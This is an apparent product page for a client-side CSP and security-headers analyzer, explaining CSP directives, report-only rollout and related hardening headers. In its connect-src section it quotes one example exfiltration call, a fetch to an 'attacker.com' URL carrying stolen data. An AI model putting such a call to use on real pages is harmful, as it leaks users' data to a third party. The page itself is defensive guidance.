Free Online CSP & Security Headers Analyzer

About this tool

This free online CSP analyzer parses Content-Security-Policy directives and common response security headers, normalizes sources, and flags patterns that weaken protections against XSS, clickjacking, and injection paths. Paste a CSP header or a full response header block and get severity-scored findings plus an exportable report - processing is local-only in your browser with no uploads.

Common use cases

• Validate a CSP change before deploying to production
• Quickly assess security posture during incident response or triage
• Review third-party integrations for overly-broad allowlists
• Generate a lightweight findings report for PRs, tickets, or audits
• Check for missing headers like X-Content-Type-Options, Referrer-Policy, and Permissions-Policy

How it works

Input is parsed client-side. CSP directives are tokenized into sources/keywords, whitespace is normalized, and each directive is evaluated against a ruleset to produce findings (High/Medium/Low/Info). If you paste full response headers, the analyzer extracts CSP and also evaluates other common hardening headers alongside it. The "Parsed" view shows normalized directives and token mapping so you can verify exactly what the browser would interpret.

FAQ

Does this tool upload my headers or CSP

No. Analysis runs locally in your browser and nothing is sent to a backend.

Can I paste full response headers instead of only CSP

Yes. Paste the header block and the analyzer will extract CSP and evaluate other common security headers.

Why are 'unsafe-inline' / 'unsafe-eval' flagged

They weaken script/style restrictions and can open injection paths. Prefer nonces/hashes and narrower sources.

CSP directives and what they control

Content Security Policy is a collection of directives, each governing a specific category of browser behavior. A policy that covers only script-src leaves style injection, frame embedding, and form targets unrestricted. Understanding each directive helps you write policies that are both strict and functional rather than accidentally permissive.

script-src: Controls which scripts the browser will execute. This is the most security-critical directive. 'none' blocks all scripts; 'self' allows scripts from the same origin; a nonce ('nonce-base64value') allows specific inline scripts that carry the matching attribute; a hash ('sha256-base64hash') allows a specific inline script by content fingerprint. Avoid 'unsafe-inline' — it negates XSS protection for inline scripts entirely. Avoid 'unsafe-eval' — it allows eval(), new Function(), and setTimeout/setInterval with string arguments, all common exploit vectors.

style-src: Controls CSS sources. Like script-src but for stylesheets and inline styles. 'unsafe-inline' allows inline style attributes, which can be exploited for data exfiltration via CSS injection even without JavaScript. Nonces and hashes work here too. Many applications require 'unsafe-inline' for styled-components or CSS-in-JS frameworks — the correct solution is to migrate to nonce-based injection support.

default-src: The fallback for any directive not explicitly listed. Setting default-src 'none' and then explicitly allowing only what you need is the most secure posture — it prevents new resource types (Web Workers, manifest files, etc.) from being implicitly allowed as browsers add new fetch targets.

connect-src: Governs URLs that scripts can reach via fetch(), XMLHttpRequest, WebSocket, and EventSource. Locking this down to your API domain prevents exfiltration via fetch('https://attacker.com/?data=...') in the event of an XSS breach. This directive is often overlooked when developers focus only on script-src.

frame-ancestors: Controls which origins can embed your page in an iframe, frame, or object. This replaces the deprecated X-Frame-Options header and supports more expressive origin matching. Setting frame-ancestors 'none' prevents clickjacking attacks entirely. Note that frame-ancestors is ignored in meta CSP — it only applies when delivered via HTTP header.

form-action: Restricts where forms can submit. Without this, XSS that can't exfiltrate data via fetch may still redirect form submissions to an attacker-controlled endpoint. Even with a strict connect-src, if form-action is unset, form-based exfiltration paths remain open.

CSP reporting and violation monitoring

A CSP can operate in enforce mode (violations are blocked) or report-only mode (Content-Security-Policy-Report-Only header, violations are reported but not blocked). Report-only mode is the correct way to test a new policy against production traffic before enforcing it — you get real violation data from real users and real browser environments without blocking legitimate functionality.

The report-uri and report-to directives specify where browsers send violation JSON. A violation report includes the blocked URI, the violated directive, the document URI, and the source file and line number (if available). Collecting these reports in aggregate reveals both attack attempts and legitimate breakage — third-party scripts that load additional resources, browser extensions that inject content, and misconfigured origin allowlists all show up as violations before enforcement causes a broken user experience.

When deploying a new policy: start with Report-Only and a reporting endpoint, run it for at least a week across diverse traffic, review violations to distinguish legitimate needs from attack patterns, then switch to enforce mode. This cycle prevents the most common CSP deployment failure — blocking your own site's functionality in production.

CSP in the context of a security review

CSP is one layer in a defense-in-depth stack. A strong CSP meaningfully reduces the blast radius of an XSS vulnerability — an attacker who finds an injection point cannot easily exfiltrate data or load external scripts if the policy is well-configured. But CSP does not prevent XSS from occurring; it limits what can happen after injection.

During a security review, check CSP alongside other response headers: Strict-Transport-Security (HSTS) to prevent protocol downgrade, X-Content-Type-Options: nosniff to prevent MIME confusion attacks, Referrer-Policy to control what URL data leaks in outbound requests, and Permissions-Policy to restrict access to browser APIs like camera and geolocation. The JWT Decoder is useful alongside CSP review when auditing authenticated API endpoints — checking token claims, algorithm, and expiry without sending the token to a third party. For network-layer context during incident review, the IP Lookup and WHOIS Lookup tools run entirely client-side.